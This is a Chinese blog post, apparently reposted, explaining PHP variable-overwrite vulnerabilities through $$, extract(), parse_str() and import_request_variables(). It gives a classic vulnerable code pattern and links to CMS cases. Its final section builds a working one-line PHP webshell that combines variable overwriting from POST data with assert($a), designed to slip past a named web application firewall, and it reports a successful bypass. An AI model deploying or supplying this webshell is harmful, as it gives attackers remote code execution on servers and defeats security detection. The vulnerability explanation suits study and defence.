zoukankan      html  css  js  c++  java
  • 变量覆盖漏洞学习及在webshell中的运用

    一、发生条件:

    函数使用不当($$、extract()、parse_str()、import_request_variables()等)
    开启全局变量

    二、基础了解:

    1.$$定义

    $$代表可变变量,就是说,一个变量的变量名可以动态的设置和使用。

    举个简单例子:

    变量a被定义成了字符串hello 而变量$a被定于成了字符串world!
    但同时$a本身也是个变量
    $$a就可以代表两个含义$($a)和$(hello) 两个变量
    此时输出的结果如图:

    2.extract()定义

    extract()可以从数组中将变量导入到当前的符号表。
    该函数使用数组键名作为变量名,使用数组键值作为变量值
    语法结构:extract(array,extract_rules,prefix)
    i.array为必选参数(此参数必须为数组型数据)
    ii.extract_rules为可选参数,可选的值有:
    ● EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
    ● EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    ● EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
    ● EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
    ● EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
    ● EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
    ● EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
    ● EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
    iii.prefix为可选参数(此参数暂不解释)
    举个例子:

    在开头我们定义了一个数组d
    然后我们使用extract()函数并将array参数填写为数组d
    此时数组d中的键名将当做新的变量名来创建一个新的变量,而新的变量的值即为在数组中对应的值。(注意如果之前有声明过同一个变量,那么该变量将被覆盖。如果之后才声明将不会出现变量覆盖的现象)
    此时输出结果为:

    可以看到我们之前并未声明过a、b、c变量,但是仍可输出。

    3.parse_str()定义:

    把查询字符串解析到变量中
    语法:parse_str(string,array)
    string为必选参数
    array为可选参数
    举个例子

    可以看到此函数将name和age初始化成了变量,且值为等号右边的值
    当array参数存在时:

    4.import_request_varibles()定义
    将 GET/POST/Cookie 变量导入到全局作用域中
    此函数相当于开启全局变量注册
    语法import_request_variables(string $types ,string $prefix )
    第一个参数为必选
    第二个参数为可选
    例子:
    import_request_variables("GPC")
    使用此方法即可开启对_POST、_GET、_COOKIE的全局变量注册
    当第二个参数存在时将会加上一个前缀

    三、经典案例

    1.经典$$变量覆盖

    foreach(array('_COOKIE','_POST','_GET') as $_request) {
        foreach($$_request as $_key => $_value) {
            $$_key = addslashes($_value);
        }
    

    这是一段非常经典的$$注册变量导致的变量覆盖代码,很多应用上都出现过
    可以看出$_key为COOKIE POST GET中的参数
    比如提交?a=1 则$_key的值为a
    而下面的$$_key则会有$a的意思,结合起来就变成了$a = addslashes($_value)
    这样便会覆盖原有的变量a的值
    我们来运行一下:

    可以看到变量a被我们覆盖掉了

    2.部分cms变量覆盖案例:

    MetInfo全局变量覆盖另类突破防注入
    http://www.weixianmanbu.com/article/84.html
    齐博CMS变量覆盖导致sql注入漏洞
    http://bobao.360.cn/learning/detail/291.html
    Destoon 20140530最新版超全局变量覆盖导致的安全问题
    http://0day5.com/archives/1855/

    四、变量覆盖玩出新花样之一句话木马bypass某狗

    经过我们简单的测试,我们可以了解到:当我们使用assert函数时,如果函数的参数是可控,那么某狗拦截。例如:assert($_POST[a])或者$a=$_POST[c];assert($a)这些都是拦截

    但是如果我们只有assert($a)这一句时,我们发现他就不会进行拦截了

    这就值得我们思考了,为什么这样不会拦截呢?
    我认为应该是某狗觉得这个变量a是不可控的,所以就认为这不是木马
    那如果这时我们在联系一下变量覆盖漏洞呢?
    在这里我选用了上面的案例代码

    foreach(array('_COOKIE','_POST','_GET') as $_request) {
        foreach($$_request as $_key => $_value) {
            $$_key = addslashes($_value);
        }
    }
    

    把addslashes()删掉 然后把代码精简下

    foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}}
    

    最终代码为

    <?php foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}};assert($a);?>
    

    成功bypass

  • 相关阅读:
    ArcEngine9.3没有原生支持64位,而是以32位兼容方式运行
    记一次IIS应用程序域崩溃的原因
    切换添加[置顶] Behaviors扩展根据Pivot的item自动切换AppBar
    参数类型11g_job执行带参数的procedure
    元素返回[Python]python算法入门 栈(stack)
    模型案例复杂性思考
    执行目录glassfish不能远程登录问题
    文件目录IBM的LPI复习资料之LPI101Topic103 :GNU和Unix命令(3)文件和目录管理
    企业网站[正能量系列]失业的程序员(一)
    缓冲区方法你有被stringstream坑过吗?
  • 原文地址:https://www.cnblogs.com/yunen/p/10597822.html
Copyright © 2011-2022 走看看